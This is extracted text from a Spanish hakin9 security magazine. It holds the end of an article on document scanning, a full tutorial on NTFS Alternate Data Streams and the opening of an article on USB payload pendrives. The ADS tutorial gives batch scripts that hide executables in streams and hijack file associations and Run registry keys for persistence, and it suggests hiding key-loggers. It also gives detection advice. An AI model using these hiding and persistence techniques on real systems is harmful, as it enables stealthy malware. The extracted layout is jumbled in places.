reales, todo lo contrario,<br />
si deseamos darle la capacidad de<br />
digitalizar lotes de documentos en<br />
papel, estos propotipos son la base<br />
para construir soluciones de mayor<br />
alcance.<br />
Figura 4. Escaneando documentos desde OpenOffice<br />
Aplicaciones Open<br />
Source base a usar<br />
Las aplicaciones base Open<br />
Source que podemos usar están<br />
monstradas en Listado 1. Existen<br />
otras aplicaciones y/o APIs que<br />
nos permiten desarrollar aplicaciones<br />
desde del scratch y que son<br />
bastante usadas, pero en nuestra<br />
propuesta únicamente las mencionamos<br />
(Listado 2).<br />
Conclusiones<br />
La única aplicación Open Source<br />
con capacidades de escaneo y<br />
con capacidades de firma digital<br />
es la suite OpenOffice.<br />
El resto de opciones son herramientas<br />
para el escaneo o bien para<br />
el tratamiento de imágenes, en<br />
cualquier caso, es fácil incorporar<br />
funcionalidades de firma digital y<br />
validación.<br />
Las funcionalidades de reconocimiento<br />
de caracteres viene incluído<br />
como plug-in en muchas de las herramientas<br />
de escaneo como XSA-<br />
NE, gscan2PDF, etc. De cualquier<br />
forma, también es una funcionalidad<br />
62 www.<strong>hakin9</strong>.org/es<br />
Sobre el Autor<br />
Roger Carhuatocto es un Ingeniero<br />
de Sistemas de Perú, especializado<br />
en Seguridad.<br />
Ha trabajado en Organizaciones<br />
Españolas de Tecnología de Seguridad,<br />
Integradoras y especializadas<br />
en Open Source, además de frecuente<br />
Expositor en temas de Seguridad<br />
en España, Perú, Venezuela y<br />
Argentina.<br />
Actualmente se desempeña<br />
como IT Security Consultant en<br />
Hewlett-Packard Española. Roger<br />
es un entusiasta de la Seguridad<br />
desde la perspectiva de Negocio y<br />
Tecnología, tiene una visión Holistica<br />
de la Seguridad, ha establecido<br />
relación entre QA y Seguridad.<br />
Actualmente trabaja en la relación<br />
entre Seguridad-Confianza<br />
con la Usabilidad y Accesabilidad,<br />
además de la influencia con temas<br />
de Human-computer Interaction<br />
(HCI), User Experience (UX) y Web<br />
2.0.<br />
Podéis contactar con él en: http:<br />
//www.linkedin.com/in/rcarhuatocto<br />
fácil de integrar sobre soluciones que no tienen dicha funcionalidad. En cada<br />
país existe regulación específica<br />
que aborda temas de digitalización<br />
de documentos en papel, entrada o<br />
registro de documentos, etc., regulación<br />
que indica que los documentos<br />
digitales, resultado de un proceso<br />
de digitalización tiene total validez<br />
como si se tratase del papel.<br />
El uso de certificados digitales<br />
permite el cumpliento de requerimientos<br />
especiales de esta<br />
regulación. Un problema común<br />
cuando se digitaliza documentos<br />
es la rapidez en la adquisición via el<br />
escaneo. Lo conveniente, siempre y<br />
cuando se digitalice lotes grandes<br />
de documentos que siguen algún<br />
patrón estructural, es usar una cámara<br />
digital en lugar del scanner.<br />
La velocidad de adquisición de una<br />
cámara fotográfica es muy superior<br />
al scanner. En esta situación la interfase<br />
de comunicación con el dispositivo<br />
no usará SANE ni TWAIN,<br />
usará el que defina el fabricante de<br />
la cámara. Hablaremos de este estándar<br />
en otro artículo. l
Doctor Jekyll y Mr.<br />
Hyde versión NTFS<br />
Laic Aurelian<br />
La característica principal de esta funcionalidad<br />
es la invisibilidad. Cuando<br />
leemos el contenido de un fichero, accedemos<br />
únicamente al stream principal de ese<br />
fichero. Cualquier otro stream asociada a un<br />
fichero es invisible a la mayoría de las utilidades<br />
de gestión de archivos como Windows Explorer<br />
o el comando Dir de MS-DOS. Muchos<br />
especialistas han mostrado sus quejas por esta<br />
funcionalidad porque un virus puede explotarla<br />
y, sin embargo, muy poca gente la utiliza en su<br />
beneficio.NTFS apoya las secuencias de datos<br />
múltiples, donde el nombre de la corriente<br />
identifica una nueva cualidad de los datos en<br />
el archivo. Una manija se puede abrir en cada<br />
secuencia de datos. Una secuencia de datos,<br />
entonces, es un sistema único de cualidades<br />
del archivo. Las corrientes tienen cerraduras<br />
opportunistic separadas, cerraduras del archivo,<br />
y tamaños, pero permisos comunes.Los<br />
usuarios malévolos se aprovechan de secuencias<br />
de datos de NTFS almacenando un virus<br />
o un Trojan en tu sistema. Los empleados<br />
pueden abusar de esto ocultando gráficos o<br />
datos detrás de archivos de texto, del etc. Uso<br />
de ADS permite al usuario entre otros: visualizar<br />
el contenido del stream como texto en un<br />
64 www.<strong>hakin9</strong>.org/es<br />
Este artículo trata sobre<br />
Alternate Data Streams.<br />
Comparándola con la<br />
estaganografía clásica, esta<br />
técnica oculta documentos<br />
asociándolos como un stream<br />
en otro documento. La principal<br />
ventaja es que el documento es<br />
completamente invisible pero<br />
lo asociado como un stream en<br />
otro documento sólo puede ser<br />
transferido a otra unidad NTFS.<br />
cuadro de texto o usando una utilidad de texto<br />
(Wordpad para Windows), extraer el contenido<br />
de un stream y abrirlo usando un programa<br />
asociado, borrar un stream o todos los streams<br />
asociados a un fichero, inyectar un fichero como<br />
ADS en otro fichero y más.<br />
Basta de teoría, practiquemos<br />
En los próximos ejemplos, usaremos algunos<br />
scripts de MS-DOS y Visual Basic. Antes que<br />
nada, una aclaración: el nombre ADS incluye<br />
En este articulo aprenderás<br />
• Cómo usar ADS y ocultar algunos documentos<br />
importantes, passwords.<br />
• Cómo asociar un programa de monitorización<br />
por ejemplo: un key-logger.<br />
Lo que deberías saber<br />
• Cómo utilizar métodos como Vb scripts, batch<br />
scripts o Notepad o lenguajes de programación<br />
avanzados como C#, C++ o VB.<br />
• Cómo usar característica de NTFS honestamente<br />
explotando la invisibilidad de ADS.
el nombre del fichero original, el<br />
carácter “:” y el nombre ADS. Por<br />
ejemplo:<br />
C:\Test\FileName.txt:StreamName.txt<br />
Donde FileName.txt es la cadena principal<br />
y StreamName.txt es el ADS.<br />
• Para todos los ejemplos futuros<br />
usaremos una nueva carpeta<br />
donde guardaremos todos los<br />
fichero y scripts. En mis ejemplos<br />
usaré la carpeta c:\TestADS. Para<br />
probar estos ejemplos, crearos<br />
una carpeta nueva y practicad con<br />
ella. Si le habéis dado un nombre<br />
diferente, sustituidlo con el nombre<br />
de la vuestra.<br />
• En el primer ejemplo os mostraré<br />
cómo crear un stream usando Notepad<br />
y el comando ejecutar:<br />
Click Inicio, y luego click Ejecutar.En<br />
Abrir, escribiremos el siguiente comando:<br />
Notepad.exe C:\TestADS\<br />
FileName.txt:StreamName.txt<br />
Nos aparecerá un cuadro de mensaje<br />
preguntándonos si queremos crear un<br />
nuevo fichero. Pulsamos Sí y voila,<br />
habéis creado vuestro primer ADS.<br />
Escribid algún texto en el documento<br />
y cerradlo. Confirmad que queréis salvar<br />
los cambios. Ahora, con Windows<br />
Explorer, abrid el fichero C:\TestADS\<br />
NombreFichero.txt daos cuenta de que<br />
el tamaño del fichero es de 0 bytes.<br />
Observaréis un fichero en blanco. Para<br />
editar el ADS debéis abrirlo usando<br />
también el comando Ejecutar. Si usáis<br />
el comando Abrir del Notepad y ponéis<br />
la dirección:<br />
C:\TestADS\Filename.txt:StreamName.txt<br />
os saldrá un mensaje de error. Por tanto,<br />
pulsad Inicio y después Ejecutar.<br />
La ventana os mostrará los elementos<br />
recientes. Escribid<br />
C:\TestADS\Filename.txt:StreamName.txt<br />
en el cuadro de diálogo o seleccionadlo<br />
de la lista y pulsad OK para<br />
abrirlo. Escribid algún texto, guardad<br />
el documento y cerradlo. El fichero C:<br />
\TestADS\Filename.txt todavía pesa 0<br />
bytes, pero la fecha de modificación<br />
ha cambiado.<br />
• Como ya mencioné anteriormente,<br />
se pueden asociar streams no sólo<br />
a ficheros sino también a carpetas.<br />
Para asociar una cadena a una carpeta<br />
seguiremos los mismos pasos<br />
que en el caso de un fichero:<br />
Click en Inicio , y luego haced click en<br />
Ejecutar En Abrir, escribid el siguiente<br />
comando:<br />
Notepad.exe C:\TestADS:NewStream.txt<br />
Nos aparecerá un cuadro con un<br />
mensaje preguntándonos si queremos<br />
crear un nuevo fichero. Presionad<br />
Sí y voila, ya habéis creado<br />
vuestro primer ADS asociado a una<br />
carpeta. Escribid algún texto en el<br />
documento y guardadlo. Confirmad<br />
que queréis guardar los cambios.<br />
En Windows Explorer, haced click<br />
derecho sobre la carpeta C:\TestADS y<br />
seleccionad propiedades. La carpeta<br />
todavía tiene un tamaño de 0 bytes.<br />
• Otra forma sencilla de crear ADS<br />
es desde la consola de comandos.<br />
Click en Inicio, luego haced click<br />
en ejecutar y escribid cmd.exe.<br />
Escribid en la consola<br />
ECHO This is my second<br />
stream>C:\TestADS\<br />
Filename.txt:stream2.txt<br />
Como trabajamos desde la consola<br />
de commandos, también compro-<br />
Listado 1. Script de MS-DOS<br />
www.<strong>hakin9</strong>.org/es<br />
Alternate Data Streams<br />
Figura 1. El fichero de TestADS<br />
baremos el tamaño de nuestro<br />
directorio.Teclead Dir C:\TestADS y<br />
obtendremos un tamaño de 0 bytes y<br />
dentro del mismo un único fichero de<br />
0 bytes. Tras esta larga introducción,<br />
tratemos de sacar unas primeras conclusiones:<br />
• Invisibilidad: El comando Dir,<br />
Windows Explorer y muchos<br />
otros programas no verán el<br />
ADS. El ADS está oculto a la<br />
vista. Es más, el comando DEL<br />
no funcionará con ADS.<br />
• Un ADS puede ser aplicado a<br />
cualquier tipo de fichero, desde<br />
un ejecutable hasta un simple<br />
fichero de texto.<br />
• Hay varios métodos para iniciar<br />
un programa/documento oculto<br />
como ADS.<br />
• Utilizando ADS podemos ocultar<br />
gran cantidad de información.<br />
• Podemos asociar un número ilimitado<br />
de ADS a un fichero.<br />
• ADS no afecta a la funcionalidad,<br />
tamaño o visualización de<br />
las utilidades tradicionales de<br />
navegación como Dir o Windows<br />
Explorer.<br />
Type %SystemRoot%\system32\calc.EXE>c:\TestADS\Filename.txt:calc.exe<br />
Type %SystemRoot%\system32\NOTEPAD.EXE>c:\TestADS\Filename.txt:NOTEPAD.exe<br />
reg delete HKCR\txtfile\shell\open\command /f<br />
reg add HKCR\txtfile\shell\open\command /ve /t REG_EXPAND_SZ /d c:\TestADS\<br />
Filename.txt:calc.exe /f<br />
pause<br />
ECHO Now try to open a text document. You should see Windows calculator opened<br />
ECHO Press any key to restore registry<br />
reg add HKCR\txtfile\shell\open\command /ve /t REG_EXPAND_SZ /d “%SystemRoot%\<br />
system32\NOTEPAD.EXE %1” /f<br />
65
kit<br />
Figura 2. El comando Type<br />
• Podemos asociar ADS tanto a<br />
ficheros como a directorios.<br />
• Sólo podemos asociar streams en<br />
NTFS.<br />
• Si movemos un fichero con ADS<br />
a un sistema de ficheros FAT y lo<br />
devolvemos a una unidad NTFS, el<br />
ADS será eliminado.<br />
El lado oscuro de ADS<br />
• Un ADS puede ser prácticamente<br />
cualquier tipo de fichero, desde<br />
in ejecutable hasta un fichero de<br />
texto. Además, NTFS permite<br />
asociar ADS a cualquier fichero o<br />
carpeta.<br />
• Un modo muy simple de crear un<br />
virus que use ADS es reemplazar<br />
el fichero ejecutable original por<br />
otro ejecutable el virus y asociarle<br />
el ejecutable original como ADS al<br />
virus. Tras renombrar el virus con<br />
el nombre del ejecutable original<br />
habremos terminado el trabajo.<br />
Cuando el usuario lo ejecute,<br />
lanzará el virus y el virus a su vez<br />
iniciará el programa original.<br />
• Otro método utilizado por los<br />
creadores de virus es esconder el<br />
propio virus como ADS. Hay varios<br />
métodos para lanzar el virus desde<br />
un ADS sin extraerlo – Usando el<br />
comando Start, modificando el re-<br />
Listado 2.Lineas de código<br />
gistro para que se lance con el OS.<br />
Hay muchos métodos para iniciar<br />
directamente un programa oculto<br />
en un ADS.<br />
• Un tercer método que podría ser<br />
utilizado por un creador de virus<br />
(y no el último) es ocultar la mayor<br />
parte del código del virus en un<br />
ADS y mantener un prqueño ejecutable<br />
que extraiga el virus.<br />
• Sólo se conocen unos pocos virus<br />
que exploten la funcionalidad ADS<br />
en NTFS pero el daño potencial<br />
es inmenso. Hay también muchas<br />
otra formas de explotar ADS para<br />
crear un virus.<br />
• En los ejemplos siguientes trataremos<br />
de ver cómo se puede<br />
utilizar ADS para crear contenido<br />
peligroso para el ordenador (El<br />
Lado Oscuro de esta funcionalidad).<br />
Después crearemos<br />
algunos ejemplos que mostrarán<br />
El Lado Bueno y aprenderemos<br />
a utilizar esta funcionalidad en<br />
nuestro beneficio. Para una mejor<br />
comprensión, no utilizaré ningún<br />
lenguaje de programación<br />
específico como C# o VB. En los<br />
ejemplos siguientes usaremos<br />
MS-DOS para crear algunos<br />
scripts batch. Los virus Batch no<br />
son comunes, pero estad prevenidos<br />
porque sí que existen y es<br />
posible escribir un fichero batch<br />
que contenga un virus.<br />
Aviso: algunos ejemplos cambian algunas<br />
claves del registro y usan algunas<br />
técnicas avanzadas que podrían<br />
dañar vuestro sistema. Si se diera el<br />
caso, deberíais hacer una copia de<br />
Copy %SystemRoot%\system32\Notepad.EXE C:\TestADS\Notepad.exe<br />
Type %SystemRoot%\system32\calc.EXE>c:\TestADS\Notepad.exe:calc.exe<br />
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v MyFile /t<br />
REG_SZ /d c:\TestADS\Notepad.exe:calc.exe<br />
shutdown -r -f -t 15<br />
Listado 3. Borrar la clave MyFile<br />
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run<br />
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices<br />
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce<br />
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce<br />
66 www.<strong>hakin9</strong>.org/es<br />
seguridad de todos los datos importantes<br />
del ordenador antes de intentar<br />
estos ejemplos.<br />
• Nuestro primer ejemplo mostrará<br />
cómo reemplazar un ejecutable<br />
por otro y hacer otras cosillas.<br />
Ejemplo 1<br />
Iniciad el Notepad y escribid el código<br />
que viene a continuación. Guardad<br />
el fichero como Script1.bat en vuestra<br />
carpeta TestADS y luego ejecutadlo<br />
(doble click sobre él o usad la<br />
consola para abrirlo). Minimizad la<br />
ventana de la consola y tratad de<br />
abrir cualquier fichero de texto. Deberíais<br />
ver aparecer la calculadora y<br />
no el Notepad. El comando Type asocia<br />
dos ADS al fichero que habíamos<br />
creado anteriormente Filename.txt. En<br />
este caso se trata de las utilidades Notepad<br />
y Calculadora de Windows. La<br />
tercera línea borra la clave de registro<br />
que asocia la apertura de ficheros de<br />
texto con el Notepad. La cuarta línea<br />
añade una nueva clave de regstro<br />
que asocia la apertura de ficheros de<br />
texto con uno de nuestros programas<br />
asociados como ADS la calculadora.<br />
El comando Pause nos da un respiro<br />
para comprobar lo que hemos hecho.<br />
Por último el script restaurará la antigua<br />
clave del registro para los ficheros<br />
de texto. En este ejemplo, he reemplazado<br />
el notepad.exe por un inocente<br />
ejecutable oculto pero un atacante<br />
real podría inyectarnos un virus realmente<br />
peligroso con cuatro simples<br />
líneas de código. Y ese virus podría<br />
lanzarse cada vez que abrís un documento<br />
de texto, e incluso podría lanzar<br />
el Notepad al mismo tiempo para no<br />
levantar sospechas! Y ese script batch<br />
podría borrarse a sí mismo usando un<br />
comando como: Del script1.bat<br />
Ejemplo 2<br />
Iniciad el Notepad y después escribid<br />
el código que viene a continuación.<br />
Guardad el archivo como Script2.bat<br />
en vuestro directorio TestADS y luego<br />
ejecutadlo (doble click sobre él mismo<br />
o abridlo desde la consola). Reiniciad<br />
el ordenador. Tras el reinicio deberíais<br />
ver la calculadora ejecuándose (Daos<br />
cuenta de que esta no es la calculado-
a real, es un stream asociado a una<br />
copia del Notepad desde nuestro directorio<br />
de pruebas). Aviso: Cierra las<br />
demás aplicaciones y guarda todo el<br />
trbajo antes de ejecutar este ejemplo<br />
porque reiniciará la máquina y perderás<br />
el trabajo!<br />
La primera línea copiará el programa<br />
Notepad desde la carpeta Windows<br />
a nuestro directorio de pruebas.<br />
La segunda línea asociará Calc.exe a<br />
nuestra copia de Notepad. La tercera<br />
línea añadirá una clave de registro<br />
para iniciar nuestro ADS directamente<br />
con Windows y la cuarta reiniciará el<br />
ordenador en 15 segundos. Tras ejecutar<br />
este ejemplo copiad la siguiente<br />
línea en un nuevo script batch y ejecútalo<br />
para borrar la calve de registro:<br />
reg delete HKLM\SOFTWARE\Microsoft\<br />
Windows\CurrentVersion\Run\MyFile /f<br />
O usa la utilidad Regedit para borrar la<br />
clave MyFile de:<br />
HKEY_LOCAL_MACHINE\<br />
SOFTWARE\Microsoft\<br />
Windows\CurrentVersion\Run<br />
En este ejemplo vemos que un ejecutable<br />
oculto puede ser lanzado<br />
cada vez que reiniciamos el sistema<br />
y esto es también un comportamiento<br />
peligroso porque una vez que un programa<br />
maliciose se ha instalado como<br />
Figura 3. Script de Visual Basic<br />
Listado 4. Ejemplo para ficheros de texto<br />
ADS en nuestro sistema, podría lanzarse<br />
automáticamente cuando se inicia<br />
Windows. También observad que<br />
para este trabajo bastan tres líneas de<br />
código copy, type y reg add. Un ataque<br />
hacker típico en un sistema Windows<br />
sigue cuatro pasos para conseguir su<br />
objetivo:<br />
• Crear una herramienta de hacking<br />
que ayude a atacar el sistema objetivo.<br />
• Instalar la herramienta<br />
Ocultar la herramienta en el sistema<br />
infiltrado con el fin de prevenir la detección<br />
por parte del administrador del<br />
sistema Ejecutar la herramienta cuando<br />
se inicia el sistema o cuando un determinado<br />
documento/ejecutable es<br />
abierto. Lo que realmente hace ADS<br />
muy peligroso es el hecho de que ofre-<br />
www.<strong>hakin9</strong>.org/es<br />
Alternate Data Streams<br />
HKEY_CLASSES_ROOT\exefile\shell\open\command<br />
Se abrirá cuando cualquier fichero exe se ejecute<br />
Otros métodos similares<br />
HKEY_CLASSES_ROOT\comfile\shell\open\command<br />
HKEY_CLASSES_ROOT\batfile\shell\open\command<br />
HKEY_CLASSES_ROOT\htafile\Shell\Open\command<br />
HKEY_CLASSES_ROOT\piffile\shell\open\command<br />
HKEY_LOCAL_MACHINE\Software\CLASSES\batfile\shell\open\command<br />
HKEY_LOCAL_MACHINE\Software\CLASSES\comfile\shell\open\command<br />
HKEY_LOCAL_MACHINE\Software\CLASSES\exefile\shell\open\command<br />
HKEY_LOCAL_MACHINE\Software\CLASSES\htafile\Shell\Open\command<br />
HKEY_LOCAL_MACHINE\Software\CLASSES\piffile\shell\open\command<br />
ce soporte para los tres últimos pasos.<br />
La capacidad de mezclar ficheros<br />
de datos en ficheros existentes sin<br />
afectar a su funcionalidad, tamaña<br />
o visualización en las utilidades de<br />
navegación tradicionales como Dir o<br />
Windows Explorer podría transformar<br />
ADS en una peligrosa herramienta para<br />
un hacker. Es más, la capacidad de<br />
almacenar una gran cantidad de datos<br />
hacen ADS ideal para programs maliciosos<br />
de recogida de información.<br />
Y, por si todo esto no fuera suficiente,<br />
los ADS son extremadamente fáciles<br />
de crear, muy difíciles de detectar y<br />
requieren pocas o ninguna habilidad<br />
por parte del hacker. Hemos visto que<br />
los ejecutables maliciosos son muy fáciles<br />
de ocultar, pero lo que realmente<br />
nos dio razones para preocuparnos es<br />
que los ejecutables ocultos son muy<br />
fáciles de lanzar de una larga lista de<br />
maneras, sin los problemas derivados<br />
de tener extraerlos primero.<br />
Y otro motivo de preocupación:<br />
No podemos desactivar el ADS en un<br />
sistema NTFS. La solución: rastrear<br />
manualmente archivos y carpetas con<br />
el fin de detectar la presencia de ADS<br />
usando programas como lads.exe<br />
http://www.heysoft.de. Opcionalmente,<br />
utilizar una solución que verifique la<br />
integridad de nuestros archivos podría<br />
protegernos contra ADS no autorizado.<br />
Además, debemos verificar todos<br />
los programas que se inician automáticamente.<br />
Cualquier carácter : en la<br />
ruta podría ser sospechosa (excepto<br />
el carácter separador de unidades).<br />
Una ruta con la siguiente forma:<br />
C:\Windows\explorer.exe<br />
:explorer.exe<br />
67
kit<br />
Es más que sospechosa cuando la<br />
encuentras en una clave de registro<br />
como:<br />
HKEY_LOCAL_MACHINE\<br />
Software\Microsoft\Windows\<br />
CurrentVersion\Run<br />
Formas de lanzar ejecutables (la mayoría<br />
de ellos funcionan con ejecutables<br />
ocultos en ADS)<br />
Algunos de estos métodos ya fueron<br />
mostrados en ejemplos aneriores.<br />
Usando accesos directos en el<br />
escritorio. Usando el programador de<br />
tareas. Añadiendo una entrada a la<br />
Carpeta de inicio de Windows<br />
Cambiar la asociación del tipo<br />
de archivo. Si veis que hay un ligero<br />
retardo cuando se inicia un programa<br />
podéis verificar qué programa está<br />
asociado con esa extensión de archivo<br />
(mirad uno de los ejemplos anteriores<br />
cuando cambiamos el programa<br />
para los ficheros de texto) Ejemplo<br />
para ficheros de texto:<br />
HKEY_CLASSES_ROOT\txtfile\shell\open\<br />
command<br />
Usando el registro. Hay varios métodos,<br />
aquí están sólo algunos de ellos:<br />
Método Explorer<br />
Windows carga explorer.exe durante<br />
el arranque. Normalmente este fichero<br />
se encuentra en el directorio Windows.<br />
Sin embargo, si existe c:\explorer.exe,<br />
será ejecutado en lugar de C:\Windows\<br />
explorer.exe. La presencia de un<br />
fichero llamado c:\explorer.exe será<br />
sospechosa. Al contrario que con<br />
otros métodos, no hay necesidad de<br />
cambios en ficheros o en registro<br />
– simplemente el fichero tiene que<br />
llamarse c:\explorer.exe. El nombre<br />
del fichero que sigue a explorer.exe<br />
se iniciará cuando se inicie Windows.<br />
Método Exe file: Cualquier comando<br />
incluido en Método Batch File: Windo-<br />
Figura 4. La consola de comandos<br />
ws ejecuta todas las instrucciones del<br />
fichero Winstart.bat, localizado en la<br />
carpeta Windows. Ficheros de inicialización:<br />
Windows ejecuta instrucciones<br />
en las líneas “Run=” o “Load=” del<br />
fichero Win.ini, situado en el directorio<br />
Windows (o WinNT).<br />
También hay muchos otros métodos<br />
para iniciar un código malicioso al<br />
inicio por lo que no es mala idea verificar<br />
qué programas se lanzar al inicio!<br />
Recuerda que la mayoría de estos<br />
métodos funcionan con ejecutables<br />
ocultos en ADS.<br />
Conclusión<br />
NTFS permite la existencia de cadenas<br />
de datos alternativas asociadas a ficheros,<br />
pero invisibles a muchas utilidades<br />
de gestión de archivos. Un virus puede<br />
explotar esta funcionalidad. Modificando<br />
el registro como en los ejemplos anteriores,<br />
cambiando accesos directos<br />
en el escritorio o añadiendo elementos<br />
a la carpeta Inicio de Windows, hay<br />
muchas formas de lanzar ejecutables.<br />
Además, crear ADS es muy fácil y<br />
podemos utilizar métodos como Vb<br />
scripts, batch scripts o Notepad como<br />
en los ejemplos anteriores o lenguajes<br />
de programación avanzados como C#,<br />
C++ o VB. Teniendo en cuenta todo esto,<br />
, el lado oscuro de ADS, desde el punto<br />
de vista del uso de ADS con fines maliciosos,<br />
podría ser un peligro real para<br />
la seguridad del sistema. Actualmente,<br />
hay pocos virus que utilicen ADS para<br />
ocultarse, pero en el futro este tipo de<br />
malware podría aumentar significativamente.<br />
Soluciones y algunos consejos:<br />
Rastrear los sistemas en busca de<br />
ADS usando utilidades como lads.exe.<br />
Podéis descargar la última versión<br />
desde http://www.heysoft.de (cuando<br />
escribí este artículo era la 4.10).Este<br />
programa freeware lista todos los<br />
ADS en un directorio NTFS. En Microsoft<br />
Vista existe una opción en el<br />
comando Dir (\r) para visualizar ADS<br />
de un fichero. No la he probado, pero<br />
68 www.<strong>hakin9</strong>.org/es<br />
parece útl. Usa antivirus con soporte<br />
ADS! Comprueba qué programas se<br />
lanzan al inicio! Microsoft debe añadir<br />
la posibilidad de detectar y ver ADS<br />
para Windows Explorer y el intérprete<br />
de comandos. En este momento existe<br />
un complemento que tiene que ser<br />
instalado por separado para poder ver<br />
ADS en Windows Explorer (he leído<br />
sobre ello, lo intenté descargar de la<br />
web de Microsoft pero no lo encontré;<br />
nuestros lectores podrían intentar encontrar<br />
strmext.dll. Quizá ellos tengan<br />
más suerte).<br />
La parte buena de ADS<br />
• Todos los ejemplos anteriores<br />
muestran cuán malo es ADS si<br />
es usado por código maligno.<br />
Pero veamos la parte buena.<br />
Podemos usar esta característica<br />
de NTFS honestamente<br />
explotando la invisibilidad de<br />
ADS con fines muy diversos:<br />
• Podemos prevenir el borrado<br />
accidental de ficheros asociándolos<br />
a un fichero/directorio de<br />
sistema o a un ejecutable que<br />
sea menos probable que vayamos<br />
a borrar.<br />
• Podemos ocultar algunos<br />
documentos importantes, passwords,<br />
etc. Especialmente en<br />
equipos con más de un usuario.<br />
Daos cuenta de que si ocultáis<br />
documentos importantes<br />
usando ADS debéis usar antes<br />
un programa de cifrado para cifrar<br />
el contenido; no basta con<br />
ocultar el documento!<br />
• Podemos asociar un programa<br />
de monitorización, un key-logger<br />
u otro programa similar en una<br />
inocente carpeta.<br />
• Pueden encontrarse muchos otros<br />
usos, depende de nuestra creatividad.<br />
Comparándola con la estaganografía<br />
clásica, esta técnica (ocultar documentos<br />
asociándolos como un stream<br />
en otro documento) presenta a la vez<br />
ventajas y desventajas. La principal<br />
desventaja es que un documento asociado<br />
como stream en otro documento<br />
sólo puede ser transferido a otra uni-
Sobre el Autor<br />
Laic Aurelian es Ingeniero Rumano<br />
independiente, revelador de software<br />
para este numero de Hakin9 ( MyADS).<br />
Por más informaciones ver páginas:<br />
http://www.stegano.ro, http://xidie.ro.<br />
dad NTFS. Si lo transferimos a una<br />
unidad FAT se perderá el contenido.<br />
Pero la principal ventaja es que el<br />
documento es completamente invisible;<br />
al contrario que con la esteganografía<br />
clásica, ADS no modifica el<br />
tamaño del fichero portador. En este<br />
momento no hay muchos programas<br />
que utilicen ADS como método de<br />
estaganografía; sólo conozco uno:<br />
Xidie Security Suite, un programa<br />
freeware desarrollado por el autor<br />
de este artículo. En el futuro, cuando<br />
esta funcionalidad de NTFS sea<br />
conocida por más desarrolladores<br />
aparecerán más programas que<br />
guardarán vuestros valiosos datos<br />
usando ADS.<br />
Ejemplo 3<br />
El tercer ejemplo muestra cómo<br />
crear un simple texto ADS usando<br />
VB scripts.<br />
Listado 5. Uso de VB script para creación y acceso ADS<br />
‘Start code<br />
Option Explicit<br />
' Ask for a file name<br />
Dim File_Name<br />
File_Name = InputBox("Enter the file name where to attach", "ADS using VB",<br />
"C:\TestADS\Filename.txt")<br />
If File_Name = "" Then WScript.Quit<br />
'Verify if selected file rezide in a NTFS drive<br />
Dim fso, drv<br />
Set fso = CreateObject("Scripting.FileSystemObject")<br />
Set drv = fso.GetDrive(fso.GetDriveName(File_Name))<br />
If drv.FileSystem "NTFS" Then<br />
WScript.Quit<br />
End If<br />
' Ask for the stream to be written<br />
Dim Stream_Name<br />
Stream_Name = InputBox("Enter the stream name", "ADS using VB", "My first<br />
stream")<br />
If Stream_Name = "" Then WScript.Quit<br />
' Creates the file if it doesn't exist<br />
Dim Text_Stream<br />
If Not fso.FileExists(File_Name) Then<br />
Set Text_Stream = fso.CreateTextFile(File_Name)<br />
Text_Stream.CloseEnd If<br />
' Try to read the current content of the stream (if exist)<br />
Dim FileStream_Name, Stream_Text<br />
FileStream_Name = File_Name & ":" & Stream_Name<br />
If Not fso.FileExists(FileStream_Name) Then<br />
Stream_Text = "My stream using VB"<br />
Else<br />
Set Text_Stream = fso.OpenTextFile(FileStream_Name)<br />
Stream_Text = Text_Stream.ReadAll()<br />
Text_Stream.Close<br />
End If<br />
' Ask for the content of the stream to be written<br />
Stream_Text = InputBox("Enter the content of the stream", "ADS using VB",<br />
Stream_Text)<br />
If Stream_Text = "" Then WScript.Quit<br />
' Try to write to the stream<br />
Set Text_Stream = fso.CreateTextFile(FileStream_Name)<br />
Text_Stream.Write Stream_Text<br />
' Close the app<br />
Set Text_Stream = Nothing<br />
Set fso = Nothing<br />
WScript.Quit‘End code<br />
www.<strong>hakin9</strong>.org/es<br />
Alternate Data Streams<br />
Algunos consejos útiles<br />
Cómo borrar ADS de un fichero/<br />
directorio:<br />
Método 1:<br />
• mueve el archivo/directorio a una<br />
unidad FAT y devuélvelo a una<br />
unidad NTFS<br />
Método 2:<br />
• Abre el ADS con el Notepad (Click<br />
en Inicio, click en Ejecutar y en<br />
cuadro pon el siguiente comando)<br />
Notepad.exe C:\MyImportantFile:<br />
ADS.exe<br />
Donde C:\MyImportantFile es la ruta<br />
del fichero/directorio y ADS.exe es<br />
el nombre del ADS.exe asociado a<br />
la calculadora de Windows. Selecciona<br />
y borra todo el contenido del<br />
fichero.<br />
Cierra el Notepad. Te preguntará si<br />
quieres guardar los cambios y respondes<br />
Sí. Cómo asociar un ejecutable a<br />
otro fichero:<br />
• type c:\executable.exe > c:\<br />
another _ file:executable.exe<br />
Cómo iniciar un ejecutable oculto en<br />
otro fichero:<br />
• Start c:\another _ file:executable<br />
.exe<br />
Cómo poner texto en ADS:<br />
• type c:\ textfile.txt > c:\<br />
another _ file:ADS.txt<br />
Cómo visualizar texto desde un ADS:<br />
• More >c:\another _ file:ADS.txt<br />
Cómo añadir otro documento de texto<br />
a un ADS existente:<br />
• Type C:\NewText.txt >>c:\<br />
another _ file:ADS.txt l<br />
69
USB Payload<br />
– el gadget más<br />
potente del agente 007<br />
Yago F. Hansen<br />
A<br />
todos los que nos dedicamos a la auditoría<br />
de sistemas, nos suelen gustar<br />
los gadgets, tales como piezas de<br />
software o bien equipos electrónicos (pdas,<br />
teléfonos móviles, sensores...). Solemos disfrutar<br />
con cada una de las nuevas características<br />
o funciones que incorporan hasta que<br />
las acabamos conociendo al límite.<br />
Esto es básicamente lo que me paso con<br />
los USB payload: un gadget formado por un<br />
pendrive USB (preferiblemente que cumpla<br />
el standard U3) y gran cantidad de herramientas<br />
de hacking en su interior. Desde la<br />
aparición de los primeros pendrive, todos los<br />
que nos dedicamos a esto coleccionábamos<br />
utilidades de este tipo en su interior, pero lo<br />
que ha cambiado ahora drásticamente es la<br />
forma de empaquetar y lanzar esas herramientas<br />
hacia los sistemas víctima.<br />
Ahora siempre llevo encima mi pendrive<br />
U3, con una distribución USB payload que<br />
he utilizado en muchas ocasiones, no solo<br />
con fines de auditoría de seguridad, sino<br />
como la forma más rápida de recabar información<br />
del equipo que voy a revisar para<br />
solucionar sus problemas de seguridad, o<br />
